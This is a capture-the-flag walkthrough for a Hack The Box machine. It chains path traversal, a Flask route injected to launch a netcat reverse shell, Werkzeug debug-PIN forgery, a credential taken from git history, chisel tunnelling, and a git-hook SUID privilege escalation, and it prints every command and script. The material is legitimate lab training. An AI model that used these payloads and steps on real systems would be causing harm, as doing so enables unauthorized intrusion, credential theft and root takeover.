Machine: https://app.hackthebox.com/machines/471

Enumeration

Services / Versions

  • As always, we use nmap to get service and version of the target
 sudo nmap -p- -sS -n -Pn --min-rate 5000 10.10.11.164 -oG allPorts
  • And a version enumeration and run some common scripts
sudo nmap -p22,80 -sVC -Pn -n --min-rate 5000 10.10.11.164 -oN Targeted

Web Service Enumeration

  • In order to get knowledge of the target, we can use some tools to get info about the technologies used in the web side

Used Technologies

whatweb http://<ip>

Web Features

  • It using “werkzeug 2.1.2” we can try somethings like bypass console PIN because the Debug is enabled, but first we need to find a path traversal / LFI in order to get uuid.getnode() and get_machine_id()
  • we can upload our files to the service
  • The web allow us to download, what appears to be, que source code of the web application, so after reading the content we know:
    • Web applicaction is deployed in a docker container
    • User “root” is running the service
    • We know how the upload service works, and seem to be susceptible to FLI
  • If we look closer we can see that there is a function named get_file_name() that come from app.utils so lets check it
  • looks like is replacement the string ../ in order to avoid path traversal
  • That’s means that we have a Directory Path Traversal using
curl http://10.10.11.164/uploads/..//etc/hosts --path-as-is --ignore-content-length

Exploitation

Inicial Access 1st Method

  • We can exploit the function os.path.join() (because if we use / the left path of the command will be removed)
  • We can change the file view.py to a custom file with a custom function like this, in order to get a revershell (we know that the path is /app/app/ because source code and a information leakage when we upload a wrong)
@app.route('/shell')
def cmd():
    return os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.5 4444 >/tmp/f")
  • so if we research this new route /shell the python code while be executed
curl http://10.10.11.164/shell
  • In order to get a better experience we can upgrade the tty using python (we use sh because there is no bash)
python3 -c 'import pty;pty.spawn("/bin/sh")'
ctrl + z
stty raw echo; fg
reset xterm
export PS1="\u@\h:\w\# "
export TERM=xterm-256color

Inicial Access 2nd Method

  • As we saw above we have a LFI so we have access to the data we need to generate a PIN code to get access to debug console, so the MAC address:
curl http://10.10.11.164/uploads/..//sys/class/net/eth0/address --path-as-is --ignore-content-length
python -c 'print(0x0242ac110007)'
  • And get this value /proc/sys/kernel/random/boot_id in my case e9630489-23dd-47bb-b05d-3250757832dc and u have to append de value of /proc/self/cgroup (last slash)
curl http://10.10.11.164/uploads/..//proc/sys/kernel/random/boot_id --path-as-is --ignore-content-length
curl http://10.10.11.164/uploads/..//proc/self/cgroup --path-as-is --ignore-content-length
  • so the final code is this:
import hashlib
from itertools import chain
probably_public_bits = [
	'root',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
 
private_bits = [
	'2485377892359',# str(uuid.getnode()),  /sys/class/net/ens33/address
	'e9630489-23dd-47bb-b05d-3250757832dcd746c2d220c5026b8883a99ea419aa1ebbf18f6394ace10a42985ca7f4eca816'# get_machine_id(), /etc/machine-id
]
 
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv =None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num
 
print(rv)
  • if we type de code doesnt works
  • This happened because the version of the application, we have to chain the encrypt mode to sha1, like this
import hashlib
from itertools import chain
probably_public_bits = [
	'root',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
 
private_bits = [
	'2485377892359',# str(uuid.getnode()),  /sys/class/net/ens33/address
	'e9630489-23dd-47bb-b05d-3250757832dcd746c2d220c5026b8883a99ea419aa1ebbf18f6394ace10a42985ca7f4eca816'# get_machine_id(), /etc/machine-id
]
 
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv =None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num
 
print(rv)
  • now we have access to debug console
import os
os.popen('whoami').read().strip()
  • send the revershell
import os
os.popen('nc 10.10.16.5 4444 -e sh').read().strip()
  • tty sanitization
python3 -c 'import pty;pty.spawn("/bin/sh")'
ctrl + z
stty raw echo; fg
reset xterm
export PS1="\u@\h:\w\# "
export TERM=xterm-256color

Docker Breakout

  • After a while enumerating the container, i couldn’t find nothing, but i remember something, i didnt enumerate the git repo branches

Enumerate Git Branch

  • Looking for more data we can select an other branch in the git repo
git branch 
  • We have an other branch so lets enumerate the commits
git log dev
  • now if we check the content we can see this
git show a76f8f75f7a4a12b706b0cf9c983796fa1985820

Pivoting

  • We found a user dev01:Soulless_Developer#2022", can we use this credentials to get access via ssh, but we cant…
ssh dev01@10.10.11.164
  • but we can connect through the container, the only thing that we need is the address of this interface (usualy end with 1)
ip a
ping -c 1 172.17.0.1
  • we need to perform a port enumeration but we cant use this method echo "" > /dev/tcp/172.17.0.1/22, because this path dont exit
  • we can use nc instead of the previous method
for port in $(seq 1 10000); do nc 172.17.0.1 $port -zv; done
  • The port 3000 looks interesting because on the previus nmap enumeration, was flagged as filtered, lets check what is it
wget http://172.17.0.1:3000/ -q
  • So there are a gitea repo, we can use chisel to perform a remote port forwarding to get access
wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
gunzip chisel_1.10.1_linux_amd64.gz 
mv chisel_1.10.1_linux_amd64 chisel
chmod +x chisel
  • optionally we can reduce the file size
du -hc chisel 
upx chisel
  • Transfer the executable (i had to use port 8000, because port 80 dosent works)
chmod +x chisel
./chisel server --reverse -p 1234
- Client
./chisel client 10.10.16.5:1234 R:3000:172.17.0.1:3000
  • now the tunnel is setted
lsof -i:3000

GITEA Enumeration

  • We can use the found creds to log in on this service, and looks like he have a private repo
  • perfect, we have ssh keys lets try to use it (we have to change the file’s privileges)
chmod 600 id_rsa
ssh dev01@10.10.11.164 -i id_rsa

Privilege Escalation

Process Enumeration

  • We can use pspy64 in order to get all running process or contabs
git clone https://github.com/DominicBreuker/pspy 
cd pspy
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build .
  • It looks like is doing sync the git repo and making some backups, we can use hooks to write a pre commit action when a commit happened
echo 'chmod u+s /bin/bash' > /home/dev01/.git/hooks/pre-commit
chmod +x ~/.git/hooks/pre-commit
watch -n 1 ls -l /bin/bash
  • And if we wait…
  • perfect now we are root!
bash -p